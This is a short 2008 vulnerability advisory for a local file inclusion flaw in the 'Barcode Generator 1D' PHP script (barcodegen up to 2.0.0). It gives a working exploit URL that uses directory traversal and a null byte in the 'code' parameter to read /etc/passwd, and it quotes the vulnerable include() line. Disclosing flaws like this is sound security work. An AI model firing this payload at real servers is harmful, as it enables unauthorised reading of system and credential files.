:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ dun[at]strcpy.pl ] ################################################################### # [ barcodegen <= 2.0.0 ] Local File Inclusion Vulnerability # ################################################################### # # Script: "Barcode Generator 1D" # # Script site: http://www.barcodephp.com/ # Download: http://www.barcodephp.com/download.php # # Vuln: # http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00 # # # Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8) # # ... # if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1']) # && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) { # require('config.php'); # require($class_dir.'/BCGColor.php'); # require($class_dir.'/BCGBarcode.php'); # require($class_dir.'/BCGDrawing.php'); # require($class_dir.'/BCGFont.php'); # if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) { // LFI # ... # # ############################################### # Greetz: D3m0n_DE * str0ke * and otherz.. ############################################### [ dun / 2008 ] *******************************************************************************************